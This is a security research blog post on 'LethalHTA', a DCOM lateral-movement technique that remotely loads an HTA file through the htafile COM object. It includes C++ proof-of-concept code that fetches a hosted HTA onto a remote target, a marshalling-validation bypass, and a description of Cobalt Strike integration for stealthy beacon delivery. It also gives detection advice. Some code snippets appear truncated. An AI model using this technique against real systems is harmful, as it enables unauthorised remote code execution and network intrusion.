DCOM and HTA. The research on this technique is partly an outcome of our recent research efforts on COM Marshalling: Marshalling to SYSTEM - An analysis of CVE-2018-0824.

PREVIOUS WORK

Several lateral movement techniques using DCOM were discovered in the past by Matt Nelson, Ryan Hanson, Philip Tsukerman and @bohops. A good overview of all the known techniques can be found in the blog post by Philip Tsukerman. Most of the existing techniques execute commands via *ShellExecute(Ex)*. Some COM objects provided by Microsoft Office allow you to execute script code (e.g VBScript) which makes detection and forensics even harder.

LETHALHTA

LethalHTA is based on a very well-known COM object that was used in all the Office Moniker attacks in the past (see FireEye's blog post):

- ProgID: "htafile"
- CLSID : "{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}"
- AppID : "{40AEEAB6-8FDA-41E3-9A5F-8350D4CFCA91}"

Using James Forshaw's OleViewDotNet we get some details on the COM object. The COM object runs as local server.

It has an App ID and default *launch* and *access* permissions. Only COM objects having an App ID can be used for lateral movement.

It also implements various interfaces as we can see from OleViewDotNet.

```
        virtual HRESULT STDMETHODCALLTYPE GetClassID(
            /* [out] */ __RPC__out CLSID *pClassID) = 0;

        virtual HRESULT STDMETHODCALLTYPE IsDirty( void) = 0;

        virtual HRESULT STDMETHODCALLTYPE Load(
            /* [in] */ BOOL fFullyAvailable,
            /* [in] */ __RPC__in_opt IMoniker *pimkName,
            /* [in] */ __RPC__in_opt LPBC pibc,
            /* [in] */ DWORD grfMode) = 0;

        virtual HRESULT STDMETHODCALLTYPE Save(
            /* [in] */ __RPC__in_opt IMoniker *pimkName,
            /* [in] */ __RPC__in_opt LPBC pbc,
            /* [in] */ BOOL fRemember) = 0;

        virtual HRESULT STDMETHODCALLTYPE SaveCompleted(
            /* [in] */ __RPC__in_opt IMoniker *pimkName,
            /* [in] */ __RPC__in_opt LPBC pibc) = 0;

        virtual HRESULT STDMETHODCALLTYPE GetCurMoniker(
            /* [out] */ __RPC__deref_out_opt IMoniker **ppimkName) = 0;

    };
```

IPersistMoniker.cpp hosted with ❤ by GitHub view raw

Our initial plan was to create the COM object and restore its state by calling the *IPersistMoniker->Load()* method with a *URLMoniker* pointing to an HTA file. So we created a small program and run it in VisualStudio.

```
int wmain(int argc, wchar_t *argv[], wchar_t *envp[])
{
        GUID gHtafile = { 0x3050f4d8,0x98b5,0x11cf,{ 0xbb,0x82,0x00,0xaa,0x00,0xbd,0xce,0x0b
        HRESULT hr;
        WCHAR pwszHta[MAX_PATH] = { L"http://192.168.1.12:8000/test.hta" };

        rgQI[0].pIID = &IID_IUnknown;
        rgQI[0].pItf = NULL;
        rgQI[0].hr = 0;

        stInfo.pwszName = pwszTarget;
        stInfo.dwReserved1 = 0;
        stInfo.dwReserved2 = 0;
        stInfo.pAuthInfo = nullptr;

        CoInitialize(0);
        hr = CreateURLMonikerEx(NULL, pwszHta, &pMoniker, 0);
        hr = CoCreateInstanceEx(gHtafile, NULL, CLSCTX_REMOTE_SERVER, &stInfo, 1, rgQI);
        pOut = rgQI[0].pItf;
        hr = pOut->QueryInterface(&pPersMon);

        hr = pPersMon->Load(FALSE, pMoniker, NULL, STGM_READ);
}
```

htapoc.cpp hosted with ❤ by GitHub view raw

But calling *IPersistMoniker->Load()* returned an error code *0x80070057*. After some debugging we realized that the error code came from a call to *CUrlMon::GetMarshalSizeMax()*. That method is called during custom marshalling of a URLMoniker. This makes perfect sense since we called *IPersistMoniker->Load()* with a URLMoniker as a parameter. Since we do a method call on a remote COM object the parameters need to get (custom) marshalled and sent over RPC to the RPC endpoint of the COM server.

So looking at the implementation of *CUrlMon::GetMarshalSizeMax()* in IDA Pro we can see a call to *CUrlMon::ValidateMarshalParams()* at the very beginning.

from several functions during marshalling.

In order to bypass the validation we can take the same approach as described in our last blog post: Creating a fake object. The fake object needs to implement *IMarshal* and *IMoniker*. It forwards all calls to the *URLMoniker* instance. To bypass the validation the implementation methods for *CUrlMon::GetMarshalSizeMax*, *CUrlMon::GetUnmarshalClass*, *CUrlMon::MarshalInterface* need to modify the *dwDestContext* parameter to MSHCTX_NOSHAREDMEM(0x1). The implementation for *CUrlMon::GetMarshalSizeMax()* is shown in the following code snippet.

```
	virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags,
		/* [annotation][out] */
		_Out_  DWORD *pSize)
	{
		return _marshal->GetMarshalSizeMax(riid, pv, MSHCTX_NOSHAREDMEM, pvDestConte
	}
```

GetMarshalSizeMax.cpp hosted with ❤ by GitHub view raw

And that's all we need to bypass the validation. Of course we could also patch the code in *urlmon.dll*. But that would require us to call *VirtualProtect()* to make the page writable and modify *CUrlMon::ValidateMarshalParams()* to always return zero. Calling *VirtualProtect()* might get caught by EDR or "advanced" AV products so we wouldn't recommend it.

such as *html*, *txt*, *rtf* work fine as well as no extension at all.

LETHALHTA AND LETHALHTADOTNET

We created implementations of our technique in C++ and C#. You can run them as standalone programms. The C++ version is more a proof-of-concept and might help you creating a reflective DLL from it. The C# version can also be loaded as an Assembly with Assembly.Load(Byte[]) which makes it easy to use it in a Powershell script. You can find both implementations under releases on our GitHub.

COBALTSTRIKE INTEGRATION

To be able to easily use this technique in our day-to-day work we created a Cobalt Strike Aggressor Script called *LethalHTA.cna* that integrates the .NET implementation (LethalHTADotNet) into Cobalt Strike by providing two distinct methods for lateral movement that are integrated into the GUI, named *HTA PowerShell Delivery (staged - x86)* and *HTA .NET In-Memory Delivery (stageless - x86/x64 dynamic)*

The *HTA PowerShell Delivery* method allows to execute a PowerShell based, staged beacon on the target system. Since the PowerShell beacon is staged, the target systems need to be able to reach the HTTP(S) host and TeamServer (which are in most cases on the same system).

The *HTA .NET In-Memory Delivery* takes the technique a step further by implementing a memory-only solution that provides far more flexibility in terms of payload delivery and stealth. Using the this option it is possible to tunnel the HTA delivery/retrieval process through the beacon and also to specify a proxy server. If the target system is not able to reach the TeamServer or any other Internet-connected system, an *SMB* listener can be used instead. This allows to reach systems deep inside the network by bootstrapping an SMB beacon on the target and connecting to it via named pipe from one of the internal beacons.

Due to the techniques used, everything is done within the *mshta.exe* process without creating additional processes.

DETECTION

To detect our technique you can watch for files inside the INetCache (*%windir%\[System32 or SysWOW64]\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\*) folder containing "ActiveXObject". This is due to *mshta.exe* caching the payload file. Furthermore it can be detected by an *mshta.exe* process spawned by *svchost.exe*.

Posted by Unknown at July 06, 2018
Tags Lateral Movement

Newer Post Home Older Post

FURTHER LINKS

- Homepage
- Twitter
- Xing
- LinkedIn
- Privacy Policy
- Impressum

JOIN US

Career @ Code White

BLOG ARCHIVE

July (1)